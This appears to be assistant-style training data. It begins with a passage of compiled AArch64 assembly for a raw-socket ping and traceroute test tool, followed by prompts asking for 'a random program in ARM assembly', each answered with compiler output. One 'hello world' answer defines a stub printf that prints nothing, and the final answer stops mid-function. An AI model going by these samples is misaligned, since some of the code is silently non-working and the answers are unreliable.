cmp w0, 0
bge .L6
add x0, sp, 440
mov x1, x0
adrp x0, .LC5
add x0, x0, :lo12:.LC5
bl printf
.L6:
ldr w0, [sp, 72]
cmp w0, 0
ble .L7
add x0, sp, 120
mov w2, 16
mov x1, x0
ldr w0, [sp, 72]
bl bind
str w0, [sp, 76]
ldr w0, [sp, 76]
cmp w0, 0
bge .L8
add x0, sp, 440
mov x1, x0
adrp x0, .LC6
add x0, x0, :lo12:.LC6
bl printf
b .L7
.L8:
add x0, sp, 136
mov w2, 16
mov x1, x0
ldr w0, [sp, 72]
bl connect
str w0, [sp, 76]
ldr w0, [sp, 76]
cmp w0, 0
bge .L7
adrp x0, .LC7
add x0, x0, :lo12:.LC7
bl puts
.L7:
ldr w0, [sp, 172]
bl ntohl
and w1, w0, -268435456
mov w0, -536870912
cmp w1, w0
beq .L9
ldr w0, [sp, 172]
bl inet_ntoa
mov x2, x0
add x1, sp, 184
add x0, sp, 440
mov x3, x2
mov x2, x1
mov x1, x0
adrp x0, .LC8
add x0, x0, :lo12:.LC8
bl printf
adrp x0, .LC9
add x0, x0, :lo12:.LC9
bl puts
strb wzr, [sp, 59]
b .L10
.L9:
mov w2, 0
mov w1, 2
mov w0, 2
bl socket
str w0, [sp, 60]
ldr w0, [sp, 60]
cmp w0, 0
bge .L11
add x0, sp, 440
mov x1, x0
adrp x0, .LC10
add x0, x0, :lo12:.LC10
bl printf
strb wzr, [sp, 59]
.L11:
mov w0, 2
strh w0, [sp, 152]
mov w0, 0
bl htonl
str w0, [sp, 156]
mov w0, 0
bl htons
and w0, w0, 65535
strh w0, [sp, 154]
add x0, sp, 152
mov w2, 16
mov x1, x0
ldr w0, [sp, 60]
bl bind
cmp w0, 0
bge .L12
adrp x0, .LC11
add x0, x0, :lo12:.LC11
bl printf
strb wzr, [sp, 59]
.L12:
add x0, sp, 58
mov w4, 1
mov x3, x0
mov w2, 33
mov w1, 0
ldr w0, [sp, 60]
bl setsockopt
cmp w0, 0
bge .L13
ldrb w0, [sp, 58]
mov w1, w0
add x0, sp, 440
mov w2, w1
mov x1, x0
adrp x0, .LC12
add x0, x0, :lo12:.LC12
bl printf
strb wzr, [sp, 59]
.L13:
ldr x0, [sp, 80]
ldr x19, [x0]
ldr x0, [sp, 80]
ldr x0, [x0, 24]
ldr x0, [x0]
ldr w0, [x0]
bl inet_ntoa
mov x1, x0
add x0, sp, 440
mov x3, x1
mov x2, x19
mov x1, x0
adrp x0, .LC13
add x0, x0, :lo12:.LC13
bl printf
.L10:
mov w0, 3
str w0, [sp, 64]
b .L14
.L22:
ldr w0, [sp, 68]
cmp w0, 0
ble .L15
ldrsw x0, [sp, 64]
lsl x0, x0, 3
ldr x1, [sp, 32]
add x0, x1, x0
ldr x19, [x0]
ldrsw x0, [sp, 64]
lsl x0, x0, 3
ldr x1, [sp, 32]
add x0, x1, x0
ldr x0, [x0]
bl strlen
add x0, x0, 1
add x1, sp, 104
mov w5, 16
mov x4, x1
mov w3, 0
mov x2, x0
mov x1, x19
ldr w0, [sp, 68]
bl sendto
str w0, [sp, 76]
ldr w0, [sp, 76]
cmp w0, 0
bge .L16
ldr w0, [sp, 64]
sub w1, w0, #1
add x0, sp, 440
mov w2, w1
mov x1, x0
adrp x0, .LC14
add x0, x0, :lo12:.LC14
bl printf
ldr w0, [sp, 68]
bl close
b .L17
.L16:
ldr w0, [sp, 64]
sub w2, w0, #1
ldrsw x0, [sp, 64]
lsl x0, x0, 3
ldr x1, [sp, 32]
add x0, x1, x0
ldr x1, [x0]
add x0, sp, 440
mov x3, x1
mov x1, x0
adrp x0, .LC15
add x0, x0, :lo12:.LC15
bl printf
b .L17
.L15:
add x0, sp, 184
mov x1, x0
adrp x0, .LC16
add x0, x0, :lo12:.LC16
bl printf
.L17:
ldr w0, [sp, 72]
cmp w0, 0
ble .L18
ldrsw x0, [sp, 64]
lsl x0, x0, 3
ldr x1, [sp, 32]
add x0, x1, x0
ldr x19, [x0]
ldrsw x0, [sp, 64]
lsl x0, x0, 3
ldr x1, [sp, 32]
add x0, x1, x0
ldr x0, [x0]
bl strlen
add x0, x0, 1
mov w3, 0
mov x2, x0
mov x1, x19
ldr w0, [sp, 72]
bl send
str w0, [sp, 76]
ldr w0, [sp, 76]
cmp w0, 0
bge .L19
adrp x0, .LC17
add x0, x0, :lo12:.LC17
bl printf
ldr w0, [sp, 72]
bl close
b .L20
.L19:
ldr w0, [sp, 64]
sub w2, w0, #1
ldrsw x0, [sp, 64]
lsl x0, x0, 3
ldr x1, [sp, 32]
add x0, x1, x0
ldr x1, [x0]
add x0, sp, 440
mov x3, x1
mov x1, x0
adrp x0, .LC18
add x0, x0, :lo12:.LC18
bl printf
b .L20
.L18:
add x0, sp, 184
mov x1, x0
adrp x0, .LC19
add x0, x0, :lo12:.LC19
bl printf
.L20:
ldrb w0, [sp, 59]
cmp w0, 0
beq .L21
ldrsw x0, [sp, 64]
lsl x0, x0, 3
ldr x1, [sp, 32]
add x0, x1, x0
ldr x19, [x0]
ldrsw x0, [sp, 64]
lsl x0, x0, 3
ldr x1, [sp, 32]
add x0, x1, x0
ldr x0, [x0]
bl strlen
add x0, x0, 1
add x1, sp, 168
mov w5, 16
mov x4, x1
mov w3, 0
mov x2, x0
mov x1, x19
ldr w0, [sp, 60]
bl sendto
str w0, [sp, 76]
ldr w0, [sp, 76]
cmp w0, 0
bge .L21
ldr w0, [sp, 64]
sub w1, w0, #1
add x0, sp, 440
mov w2, w1
mov x1, x0
adrp x0, .LC20
add x0, x0, :lo12:.LC20
bl printf
ldr w0, [sp, 60]
bl close
strb wzr, [sp, 59]
.L21:
ldr w0, [sp, 64]
add w0, w0, 1
str w0, [sp, 64]
.L14:
ldr w1, [sp, 64]
ldr w0, [sp, 44]
cmp w1, w0
blt .L22
mov w0, 5
bl sleep
add x0, sp, 696
bl ltp_run_traceroute_tests
add x0, sp, 184
bl ltp_run_ping_tests
mov w0, 0
mov w1, w0
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x3, [sp, 952]
ldr x2, [x0]
subs x3, x3, x2
mov x2, 0
beq .L24
bl __stack_chk_fail
.L24:
mov w0, w1
ldr x19, [sp, 16]
ldp x29, x30, [sp]
add sp, sp, 960
.cfi_restore 29
.cfi_restore 30
.cfi_restore 19
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE6:
.size main, .-main
.section .rodata
.align 3
.LC21:
.string "ICMP"
.text
.align 2
.global ltp_run_traceroute_tests
.type ltp_run_traceroute_tests, %function
ltp_run_traceroute_tests:
.LFB7:
.cfi_startproc
stp x29, x30, [sp, -80]!
.cfi_def_cfa_offset 80
.cfi_offset 29, -80
.cfi_offset 30, -72
mov x29, sp
str x0, [sp, 24]
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x1, [x0]
str x1, [sp, 72]
mov x1, 0
mov w0, -1
str w0, [sp, 44]
bl getpid
str w0, [sp, 44]
adrp x0, .LC21
add x0, x0, :lo12:.LC21
bl getprotobyname
mov x1, x0
adrp x0, protocol
add x0, x0, :lo12:protocol
str x1, [x0]
ldr x0, [sp, 24]
bl gethostbyname
str x0, [sp, 48]
add x0, sp, 56
mov x2, 16
mov w1, 0
bl memset
ldr x0, [sp, 48]
ldr w0, [x0, 16]
and w0, w0, 65535
strh w0, [sp, 56]
strh wzr, [sp, 58]
ldr x0, [sp, 48]
ldr x0, [x0, 24]
ldr x0, [x0]
ldr x0, [x0]
str w0, [sp, 60]
add x0, sp, 56
ldr w2, [sp, 44]
ldr x1, [sp, 24]
bl ltp_traceroute
mov w0, 0
mov w1, w0
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x3, [sp, 72]
ldr x2, [x0]
subs x3, x3, x2
mov x2, 0
beq .L27
bl __stack_chk_fail
.L27:
mov w0, w1
ldp x29, x30, [sp], 80
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE7:
.size ltp_run_traceroute_tests, .-ltp_run_traceroute_tests
.align 2
.global ltp_run_ping_tests
.type ltp_run_ping_tests, %function
ltp_run_ping_tests:
.LFB8:
.cfi_startproc
stp x29, x30, [sp, -80]!
.cfi_def_cfa_offset 80
.cfi_offset 29, -80
.cfi_offset 30, -72
mov x29, sp
str x0, [sp, 24]
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x1, [x0]
str x1, [sp, 72]
mov x1, 0
mov w0, -1
str w0, [sp, 44]
bl getpid
str w0, [sp, 44]
adrp x0, .LC21
add x0, x0, :lo12:.LC21
bl getprotobyname
mov x1, x0
adrp x0, protocol
add x0, x0, :lo12:protocol
str x1, [x0]
ldr x0, [sp, 24]
bl gethostbyname
str x0, [sp, 48]
add x0, sp, 56
mov x2, 16
mov w1, 0
bl memset
ldr x0, [sp, 48]
ldr w0, [x0, 16]
and w0, w0, 65535
strh w0, [sp, 56]
strh wzr, [sp, 58]
ldr x0, [sp, 48]
ldr x0, [x0, 24]
ldr x0, [x0]
ldr x0, [x0]
str w0, [sp, 60]
bl fork
cmp w0, 0
bne .L29
ldr w1, [sp, 44]
ldr x0, [sp, 24]
bl network_listener
b .L30
.L29:
add x0, sp, 56
ldr w1, [sp, 44]
bl ping_network
.L30:
mov w0, 0
mov w1, w0
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x3, [sp, 72]
ldr x2, [x0]
subs x3, x3, x2
mov x2, 0
beq .L32
bl __stack_chk_fail
.L32:
mov w0, w1
ldp x29, x30, [sp], 80
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE8:
.size ltp_run_ping_tests, .-ltp_run_ping_tests
.section .rodata
.align 3
.LC22:
.string "%s: Error: cannot open RAW socket \n"
.align 3
.LC23:
.string "%s : cannot receive data\n"
.align 3
.LC24:
.string "Exiting the network_listener..."
.text
.align 2
.global network_listener
.type network_listener, %function
network_listener:
.LFB9:
.cfi_startproc
sub sp, sp, #1104
.cfi_def_cfa_offset 1104
stp x29, x30, [sp]
.cfi_offset 29, -1104
.cfi_offset 30, -1096
mov x29, sp
str x0, [sp, 24]
str w1, [sp, 20]
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x1, [x0]
str x1, [sp, 1096]
mov x1, 0
mov w0, 10
str w0, [sp, 44]
adrp x0, protocol
add x0, x0, :lo12:protocol
ldr x0, [x0]
ldr w0, [x0, 16]
mov w2, w0
mov w1, 3
mov w0, 2
bl socket
str w0, [sp, 48]
str wzr, [sp, 40]
ldr w0, [sp, 48]
cmp w0, 0
bge .L34
ldr x1, [sp, 24]
adrp x0, .LC22
add x0, x0, :lo12:.LC22
bl printf
mov w0, -1
b .L39
.L34:
mov w0, 16
str w0, [sp, 36]
add x0, sp, 72
mov x2, 1024
mov w1, 0
bl memset
add x2, sp, 36
add x1, sp, 56
add x0, sp, 72
mov x5, x2
mov x4, x1
mov w3, 0
mov x2, 1024
mov x1, x0
ldr w0, [sp, 48]
bl recvfrom
str w0, [sp, 52]
ldr w0, [sp, 52]
cmp w0, 0
ble .L36
add x0, sp, 72
ldr w2, [sp, 20]
ldr w1, [sp, 52]
bl output_to_display
ldr w0, [sp, 40]
add w0, w0, 1
str w0, [sp, 40]
ldr w1, [sp, 44]
ldr w0, [sp, 40]
cmp w1, w0
bne .L34
b .L41
.L36:
ldr x1, [sp, 24]
adrp x0, .LC23
add x0, x0, :lo12:.LC23
bl printf
ldr w0, [sp, 48]
bl close
mov w0, 0
b .L39
.L41:
adrp x0, .LC24
add x0, x0, :lo12:.LC24
bl puts
b .L34
.L39:
mov w1, w0
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x3, [sp, 1096]
ldr x2, [x0]
subs x3, x3, x2
mov x2, 0
beq .L40
bl __stack_chk_fail
.L40:
mov w0, w1
ldp x29, x30, [sp]
add sp, sp, 1104
.cfi_restore 29
.cfi_restore 30
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE9:
.size network_listener, .-network_listener
.align 2
.global checksum
.type checksum, %function
checksum:
.LFB10:
.cfi_startproc
sub sp, sp, #32
.cfi_def_cfa_offset 32
str x0, [sp, 8]
str w1, [sp, 4]
ldr x0, [sp, 8]
str x0, [sp, 24]
str wzr, [sp, 20]
str wzr, [sp, 20]
b .L43
.L44:
ldr x0, [sp, 24]
add x1, x0, 2
str x1, [sp, 24]
ldrh w0, [x0]
mov w1, w0
ldr w0, [sp, 20]
add w0, w0, w1
str w0, [sp, 20]
ldr w0, [sp, 4]
sub w0, w0, #2
str w0, [sp, 4]
.L43:
ldr w0, [sp, 4]
cmp w0, 1
bgt .L44
ldr w0, [sp, 4]
cmp w0, 1
bne .L45
ldr x0, [sp, 24]
ldrb w0, [x0]
mov w1, w0
ldr w0, [sp, 20]
add w0, w0, w1
str w0, [sp, 20]
.L45:
ldr w0, [sp, 20]
lsr w1, w0, 16
ldr w0, [sp, 20]
and w0, w0, 65535
add w0, w1, w0
str w0, [sp, 20]
ldr w0, [sp, 20]
lsr w0, w0, 16
ldr w1, [sp, 20]
add w0, w1, w0
str w0, [sp, 20]
ldr w0, [sp, 20]
and w0, w0, 65535
mvn w0, w0
strh w0, [sp, 18]
ldrh w0, [sp, 18]
add sp, sp, 32
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE10:
.size checksum, .-checksum
.section .rodata
.align 3
.LC25:
.string "\n************** -- Ping Tests - **********************************************"
.align 3
.LC26:
.string "\n[%d]: "
.align 3
.LC27:
.string "[%d] "
.align 3
.LC28:
.string "IPv%d: hdr-size=%d pkt-size=%d protocol=%d TTL=%d src=%s "
.align 3
.LC29:
.string "dst=%s\n"
.align 3
.LC30:
.string "ICMP: type[%d/%d] checksum[%d] id[%d] seq[%d]\n\n"
.text
.align 2
.global output_to_display
.type output_to_display, %function
output_to_display:
.LFB11:
.cfi_startproc
stp x29, x30, [sp, -112]!
.cfi_def_cfa_offset 112
.cfi_offset 29, -112
.cfi_offset 30, -104
mov x29, sp
stp x19, x20, [sp, 16]
stp x21, x22, [sp, 32]
str x23, [sp, 48]
.cfi_offset 19, -96
.cfi_offset 20, -88
.cfi_offset 21, -80
.cfi_offset 22, -72
.cfi_offset 23, -64
str x0, [sp, 72]
str w1, [sp, 68]
str w2, [sp, 64]
ldr x0, [sp, 72]
str x0, [sp, 96]
ldr x0, [sp, 96]
ldr w0, [x0]
ubfx x0, x0, 0, 4
and w0, w0, 255
lsl w0, w0, 2
sxtw x0, w0
ldr x1, [sp, 72]
add x0, x1, x0
str x0, [sp, 104]
adrp x0, .LC25
add x0, x0, :lo12:.LC25
bl puts
str wzr, [sp, 92]
b .L48
.L50:
ldr w0, [sp, 92]
and w0, w0, 15
cmp w0, 0
bne .L49
ldr w1, [sp, 92]
adrp x0, .LC26
add x0, x0, :lo12:.LC26
bl printf
.L49:
ldrsw x0, [sp, 92]
ldr x1, [sp, 72]
add x0, x1, x0
ldrb w0, [x0]
mov w1, w0
adrp x0, .LC27
add x0, x0, :lo12:.LC27
bl printf
ldr w0, [sp, 92]
add w0, w0, 1
str w0, [sp, 92]
.L48:
ldr w1, [sp, 92]
ldr w0, [sp, 68]
cmp w1, w0
blt .L50
mov w0, 10
bl putchar
ldr x0, [sp, 96]
ldr w0, [x0, 12]
str w0, [sp, 88]
ldr x0, [sp, 96]
ldr w0, [x0]
ubfx x0, x0, 4, 4
and w0, w0, 255
mov w20, w0
ldr x0, [sp, 96]
ldr w0, [x0]
ubfx x0, x0, 0, 4
and w0, w0, 255
lsl w19, w0, 2
ldr x0, [sp, 96]
ldrh w0, [x0, 2]
bl ntohs
and w0, w0, 65535
mov w21, w0
ldr x0, [sp, 96]
ldrb w0, [x0, 9]
mov w22, w0
ldr x0, [sp, 96]
ldrb w0, [x0, 8]
mov w23, w0
ldr w0, [sp, 88]
bl inet_ntoa
mov x6, x0
mov w5, w23
mov w4, w22
mov w3, w21
mov w2, w19
mov w1, w20
adrp x0, .LC28
add x0, x0, :lo12:.LC28
bl printf
ldr x0, [sp, 96]
ldr w0, [x0, 16]
str w0, [sp, 88]
ldr w0, [sp, 88]
bl inet_ntoa
mov x1, x0
adrp x0, .LC29
add x0, x0, :lo12:.LC29
bl printf
ldr x0, [sp, 104]
ldrh w0, [x0, 4]
mov w1, w0
ldr w0, [sp, 64]
cmp w0, w1
bne .L52
ldr x0, [sp, 104]
ldrb w0, [x0]
mov w19, w0
ldr x0, [sp, 104]
ldrb w0, [x0, 1]
mov w20, w0
ldr x0, [sp, 104]
ldrh w0, [x0, 2]
bl ntohs
and w0, w0, 65535
mov w1, w0
ldr x0, [sp, 104]
ldrh w0, [x0, 4]
mov w2, w0
ldr x0, [sp, 104]
ldrh w0, [x0, 6]
mov w5, w0
mov w4, w2
mov w3, w1
mov w2, w20
mov w1, w19
adrp x0, .LC30
add x0, x0, :lo12:.LC30
bl printf
.L52:
nop
ldp x19, x20, [sp, 16]
ldp x21, x22, [sp, 32]
ldr x23, [sp, 48]
ldp x29, x30, [sp], 112
.cfi_restore 30
.cfi_restore 29
.cfi_restore 23
.cfi_restore 21
.cfi_restore 22
.cfi_restore 19
.cfi_restore 20
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE11:
.size output_to_display, .-output_to_display
.section .rodata
.align 3
.LC31:
.string "Error: cannot open RAW socket %d\n"
.align 3
.LC32:
.string "ERROR: Setting TimeToLive option"
.align 3
.LC33:
.string "The test will run for [%d] iterations -- Ctrl-C to interupt \n"
.align 3
.LC34:
.string "ERROR: Failed request nonblocking I/O"
.align 3
.LC35:
.string "Message ID #:%d \n"
.align 3
.LC36:
.string "*** -- Message Received -- ***"
.align 3
.LC37:
.string "ERROR: sendto failed !!"
.align 3
.LC38:
.string "Exiting ping test..."
.text
.align 2
.global ping_network
.type ping_network, %function
ping_network:
.LFB12:
.cfi_startproc
stp x29, x30, [sp, -144]!
.cfi_def_cfa_offset 144
.cfi_offset 29, -144
.cfi_offset 30, -136
mov x29, sp
str x0, [sp, 24]
str w1, [sp, 20]
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x1, [x0]
str x1, [sp, 136]
mov x1, 0
mov w0, 10
str w0, [sp, 36]
mov w0, 1
str w0, [sp, 48]
adrp x0, protocol
add x0, x0, :lo12:protocol
ldr x0, [x0]
ldr w0, [x0, 16]
mov w2, w0
mov w1, 3
mov w0, 2
bl socket
str w0, [sp, 52]
ldr w0, [sp, 52]
cmp w0, 0
bge .L54
ldr w1, [sp, 52]
adrp x0, .LC31
add x0, x0, :lo12:.LC31
bl printf
b .L53
.L54:
add x0, sp, 36
mov w4, 4
mov x3, x0
mov w2, 2
mov w1, 0
ldr w0, [sp, 52]
bl setsockopt
cmp w0, 0
beq .L56
adrp x0, .LC32
add x0, x0, :lo12:.LC32
bl printf
b .L57
.L56:
ldr w0, [sp, 36]
mov w1, w0
adrp x0, .LC33
add x0, x0, :lo12:.LC33
bl printf
mov w0, 3
bl sleep
.L57:
mov w2, 2048
mov w1, 4
ldr w0, [sp, 52]
bl fcntl
cmp w0, 0
beq .L64
adrp x0, .LC34
add x0, x0, :lo12:.LC34
bl printf
.L64:
mov w0, 16
str w0, [sp, 40]
ldr w1, [sp, 48]
adrp x0, .LC35
add x0, x0, :lo12:.LC35
bl printf
add x2, sp, 40
add x1, sp, 56
add x0, sp, 72
mov x5, x2
mov x4, x1
mov w3, 0
mov x2, 64
mov x1, x0
ldr w0, [sp, 52]
bl recvfrom
cmp x0, 0
ble .L59
adrp x0, .LC36
add x0, x0, :lo12:.LC36
bl puts
.L59:
add x0, sp, 72
mov x2, 64
mov w1, 0
bl memset
mov w0, 8
strb w0, [sp, 72]
ldr w0, [sp, 20]
and w0, w0, 65535
strh w0, [sp, 76]
str wzr, [sp, 44]
b .L60
.L61:
ldr w0, [sp, 44]
and w0, w0, 255
add w0, w0, 48
and w2, w0, 255
ldrsw x0, [sp, 44]
add x1, sp, 80
strb w2, [x1, x0]
ldr w0, [sp, 44]
add w0, w0, 1
str w0, [sp, 44]
.L60:
ldr w0, [sp, 44]
cmp w0, 54
bls .L61
ldrsw x0, [sp, 44]
add x1, sp, 80
strb wzr, [x1, x0]
ldr w0, [sp, 48]
add w1, w0, 1
str w1, [sp, 48]
and w0, w0, 65535
strh w0, [sp, 78]
add x0, sp, 72
mov w1, 64
bl checksum
and w0, w0, 65535
strh w0, [sp, 74]
add x0, sp, 72
mov w5, 16
ldr x4, [sp, 24]
mov w3, 0
mov x2, 64
mov x1, x0
ldr w0, [sp, 52]
bl sendto
cmp x0, 0
bgt .L62
adrp x0, .LC37
add x0, x0, :lo12:.LC37
bl printf
.L62:
mov w0, 1
bl sleep
ldr w0, [sp, 36]
ldr w1, [sp, 48]
cmp w1, w0
bne .L64
adrp x0, .LC38
add x0, x0, :lo12:.LC38
bl puts
ldr w0, [sp, 52]
bl close
.L53:
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x2, [sp, 136]
ldr x1, [x0]
subs x2, x2, x1
mov x1, 0
beq .L65
bl __stack_chk_fail
.L65:
ldp x29, x30, [sp], 144
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE12:
.size ping_network, .-ping_network
.section .rodata
.align 3
.LC39:
.string "\n************** -- Trace Route Tests - **********************************************"
.align 3
.LC40:
.string "ERROR: Setting socket options"
.align 3
.LC41:
.string "Host IP:#%d: %s \n"
.align 3
.LC42:
.string "(%s)\n"
.align 3
.LC43:
.string "Name: "
.align 3
.LC44:
.string "%s : data send complete...\n"
.align 3
.LC45:
.string "\n************** -- End Trace Route Tests - ******************************************"
.text
.align 2
.global ltp_traceroute
.type ltp_traceroute, %function
ltp_traceroute:
.LFB13:
.cfi_startproc
sub sp, sp, #1232
.cfi_def_cfa_offset 1232
stp x29, x30, [sp]
.cfi_offset 29, -1232
.cfi_offset 30, -1224
mov x29, sp
str x19, [sp, 16]
.cfi_offset 19, -1216
str x0, [sp, 56]
str x1, [sp, 48]
str w2, [sp, 44]
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x1, [x0]
str x1, [sp, 1224]
mov x1, 0
mov w0, 1
str w0, [sp, 80]
str wzr, [sp, 84]
mov w0, 1
str w0, [sp, 96]
adrp x0, .LC39
add x0, x0, :lo12:.LC39
bl puts
adrp x0, protocol
add x0, x0, :lo12:protocol
ldr x0, [x0]
ldr w0, [x0, 16]
mov w2, w0
mov w1, 3
mov w0, 2
bl socket
str w0, [sp, 100]
ldr w0, [sp, 100]
cmp w0, 0
bge .L67
ldr w1, [sp, 100]
adrp x0, .LC31
add x0, x0, :lo12:.LC31
bl printf
b .L66
.L67:
add x0, sp, 80
mov w4, 4
mov x3, x0
mov w2, 4
mov w1, 0
ldr w0, [sp, 100]
bl setsockopt
cmp w0, 0
beq .L78
adrp x0, .LC40
add x0, x0, :lo12:.LC40
bl printf
.L78:
mov w0, 16
str w0, [sp, 88]
ldr w0, [sp, 84]
add w0, w0, 1
str w0, [sp, 84]
add x0, sp, 84
mov w4, 4
mov x3, x0
mov w2, 2
mov w1, 0
ldr w0, [sp, 100]
bl setsockopt
cmp w0, 0
beq .L70
adrp x0, .LC32
add x0, x0, :lo12:.LC32
bl printf
.L70:
add x0, sp, 136
mov x2, 64
mov w1, 0
bl memset
mov w0, 8
strb w0, [sp, 136]
ldr w0, [sp, 44]
and w0, w0, 65535
strh w0, [sp, 140]
str wzr, [sp, 92]
b .L71
.L72:
ldr w0, [sp, 92]
and w0, w0, 255
add w0, w0, 48
and w2, w0, 255
ldrsw x0, [sp, 92]
add x1, sp, 144
strb w2, [x1, x0]
ldr w0, [sp, 92]
add w0, w0, 1
str w0, [sp, 92]
.L71:
ldr w0, [sp, 92]
cmp w0, 54
bls .L72
ldrsw x0, [sp, 92]
add x1, sp, 144
strb wzr, [x1, x0]
ldr w0, [sp, 96]
add w1, w0, 1
str w1, [sp, 96]
and w0, w0, 65535
strh w0, [sp, 142]
add x0, sp, 136
mov w1, 64
bl checksum
and w0, w0, 65535
strh w0, [sp, 138]
add x0, sp, 136
mov w5, 16
ldr x4, [sp, 56]
mov w3, 0
mov x2, 64
mov x1, x0
ldr w0, [sp, 100]
bl sendto
cmp x0, 0
bgt .L73
adrp x0, .LC37
add x0, x0, :lo12:.LC37
bl printf
.L73:
mov w0, 1
bl sleep
add x2, sp, 88
add x1, sp, 120
add x0, sp, 200
mov x5, x2
mov x4, x1
mov w3, 64
mov x2, 1024
mov x1, x0
ldr w0, [sp, 100]
bl recvfrom
cmp x0, 0
ble .L74
add x0, sp, 200
str x0, [sp, 104]
ldr x0, [sp, 104]
ldr w0, [x0, 12]
str w0, [sp, 72]
ldr w0, [sp, 96]
sub w19, w0, #1
ldr w0, [sp, 72]
bl inet_ntoa
mov x2, x0
mov w1, w19
adrp x0, .LC41
add x0, x0, :lo12:.LC41
bl printf
ldr w1, [sp, 88]
ldrh w0, [sp, 120]
mov w2, w0
add x0, sp, 120
bl gethostbyaddr
str x0, [sp, 112]
ldr x0, [sp, 112]
cmp x0, 0
beq .L75
ldr x0, [sp, 112]
ldr x0, [x0]
mov x1, x0
adrp x0, .LC42
add x0, x0, :lo12:.LC42
bl printf
b .L76
.L75:
adrp x0, .LC43
add x0, x0, :lo12:.LC43
bl perror
b .L76
.L74:
ldr x1, [sp, 48]
adrp x0, .LC44
add x0, x0, :lo12:.LC44
bl printf
b .L77
.L76:
ldr w1, [sp, 124]
ldr x0, [sp, 56]
ldr w0, [x0, 4]
cmp w1, w0
bne .L78
.L77:
adrp x0, .LC45
add x0, x0, :lo12:.LC45
bl puts
ldr w0, [sp, 100]
bl close
.L66:
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x2, [sp, 1224]
ldr x1, [x0]
subs x2, x2, x1
mov x1, 0
beq .L79
bl __stack_chk_fail
.L79:
ldr x19, [sp, 16]
ldp x29, x30, [sp]
add sp, sp, 1232
.cfi_restore 29
.cfi_restore 30
.cfi_restore 19
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE13:
.size ltp_traceroute, .-ltp_traceroute
``` |
### Human: Write a random program in ARM assembly### Assistant: ``` .text
.align 2
.global printf
.type printf, %function
printf:
.LFB0:
.cfi_startproc
sub sp, sp, #16
.cfi_def_cfa_offset 16
str x0, [sp, 8]
mov w0, 0
add sp, sp, 16
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE0:
.size printf, .-printf
.section .rodata
.align 3
.LC0:
.string "hello world!\n"
.text
.align 2
.global main
.type main, %function
main:
.LFB1:
.cfi_startproc
stp x29, x30, [sp, -16]!
.cfi_def_cfa_offset 16
.cfi_offset 29, -16
.cfi_offset 30, -8
mov x29, sp
adrp x0, .LC0
add x0, x0, :lo12:.LC0
bl printf
ldp x29, x30, [sp], 16
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE1:
.size main, .-main
``` |
### Human: Write a random program in ARM assembly### Assistant: ``` .text
.section .rodata
.align 3
.LC0:
.string "enter name"
.align 3
.LC1:
.string "%[^\n]"
.align 3
.LC2:
.string "length of your name is %d"
.text
.align 2
.global main
.type main, %function
main:
.LFB0:
.cfi_startproc
stp x29, x30, [sp, -64]!
.cfi_def_cfa_offset 64
.cfi_offset 29, -64
.cfi_offset 30, -56
mov x29, sp
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x1, [x0]
str x1, [sp, 56]
mov x1, 0
adrp x0, .LC0
add x0, x0, :lo12:.LC0
bl puts
add x0, sp, 32
mov x1, x0
adrp x0, .LC1
add x0, x0, :lo12:.LC1
bl __isoc99_scanf
add x0, sp, 32
bl strlen
str w0, [sp, 28]
ldr w1, [sp, 28]
adrp x0, .LC2
add x0, x0, :lo12:.LC2
bl printf
nop
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x2, [sp, 56]
ldr x1, [x0]
subs x2, x2, x1
mov x1, 0
beq .L2
bl __stack_chk_fail
.L2:
ldp x29, x30, [sp], 64
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE0:
.size main, .-main
``` |
### Human: Write a random program in ARM assembly### Assistant: ``` .text
.section .rodata
.align 3
.LC0:
.string "dame tu nombre "
.align 3
.LC1:
.string "%5s"
.align 3
.LC2:
.string "Bienvenido %5s a la clase..."
.align 3
.LC3:
.string "de programaci\303\263n en "
.align 3
.LC4:
.string "lenguaje C"
.text
.align 2
.global main
.type main, %function
main:
.LFB0:
.cfi_startproc
stp x29, x30, [sp, -32]!
.cfi_def_cfa_offset 32
.cfi_offset 29, -32
.cfi_offset 30, -24
mov x29, sp
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x1, [x0]
str x1, [sp, 24]
mov x1, 0
adrp x0, .LC0
add x0, x0, :lo12:.LC0
bl printf
add x0, sp, 16
mov x1, x0
adrp x0, .LC1
add x0, x0, :lo12:.LC1
bl __isoc99_scanf
add x0, sp, 16
mov x1, x0
adrp x0, .LC2
add x0, x0, :lo12:.LC2
bl printf
adrp x0, .LC3
add x0, x0, :lo12:.LC3
bl puts
adrp x0, .LC4
add x0, x0, :lo12:.LC4
bl puts
